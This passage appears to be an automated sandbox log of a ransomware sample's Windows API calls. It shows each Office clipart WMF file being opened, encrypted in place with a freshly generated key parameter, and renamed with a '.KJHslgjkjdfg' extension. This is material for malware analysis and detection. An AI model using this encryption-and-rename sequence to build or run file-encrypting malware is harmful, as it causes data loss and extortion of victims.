hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.511] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.511] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.511] GetProcessHeap () returned 0x2a0000 [0174.511] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.512] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.512] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.512] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.512] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.512] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.512] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.512] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.512] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.512] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.512] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4464, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4464, lpOverlapped=0x0) returned 1 [0174.514] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4470, dwBufLen=0x4470 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4470) returned 1 [0174.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.514] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4470, lpOverlapped=0x0) returned 1 [0174.514] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.514] SetEndOfFile (hFile=0x114) returned 1 [0174.517] GetProcessHeap () returned 0x2a0000 [0174.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.517] GetProcessHeap () returned 0x2a0000 [0174.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.kjhslgjkjdfg")) returned 1 [0174.518] CloseHandle (hObject=0x114) returned 1 [0174.518] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0174.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.520] GetProcessHeap () returned 0x2a0000 [0174.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.520] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.520] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.520] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.520] GetProcessHeap () returned 0x2a0000 [0174.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.520] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.520] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.520] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.523] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.523] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.523] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.523] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.523] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.524] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.524] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.524] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x85d0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x85d0, lpOverlapped=0x0) returned 1 [0174.525] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x85d0, dwBufLen=0x85d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x85d0) returned 1 [0174.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.526] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x85d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x85d0, lpOverlapped=0x0) returned 1 [0174.526] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x86a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.526] SetEndOfFile (hFile=0x114) returned 1 [0174.529] GetProcessHeap () returned 0x2a0000 [0174.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.529] GetProcessHeap () returned 0x2a0000 [0174.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.kjhslgjkjdfg")) returned 1 [0174.530] CloseHandle (hObject=0x114) returned 1 [0174.530] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0174.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.531] GetProcessHeap () returned 0x2a0000 [0174.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.531] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.531] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.532] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.532] GetProcessHeap () returned 0x2a0000 [0174.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.532] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.532] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.532] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.536] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.536] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.536] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.536] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.536] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.536] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.536] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.537] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.537] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x31d0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x31d0, lpOverlapped=0x0) returned 1 [0174.552] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31d0) returned 1 [0174.552] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.552] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x31d0, lpOverlapped=0x0) returned 1 [0174.553] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.553] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.553] SetEndOfFile (hFile=0x114) returned 1 [0174.555] GetProcessHeap () returned 0x2a0000 [0174.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.555] GetProcessHeap () returned 0x2a0000 [0174.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.kjhslgjkjdfg")) returned 1 [0174.556] CloseHandle (hObject=0x114) returned 1 [0174.556] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0174.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.557] GetProcessHeap () returned 0x2a0000 [0174.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.557] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.557] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.557] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.587] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.587] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.587] GetProcessHeap () returned 0x2a0000 [0174.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.587] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.587] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.587] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.587] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.587] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.587] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d08, lpOverlapped=0x0) returned 1 [0174.592] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d10, dwBufLen=0x1d10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d10) returned 1 [0174.592] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.593] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d10, lpOverlapped=0x0) returned 1 [0174.593] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.593] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.593] SetEndOfFile (hFile=0x114) returned 1 [0174.596] GetProcessHeap () returned 0x2a0000 [0174.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.596] GetProcessHeap () returned 0x2a0000 [0174.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.kjhslgjkjdfg")) returned 1 [0174.597] CloseHandle (hObject=0x114) returned 1 [0174.597] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0174.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.598] GetProcessHeap () returned 0x2a0000 [0174.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.599] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.599] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.599] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.599] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.599] GetProcessHeap () returned 0x2a0000 [0174.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.599] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.599] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.599] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.609] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.609] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.609] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.609] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 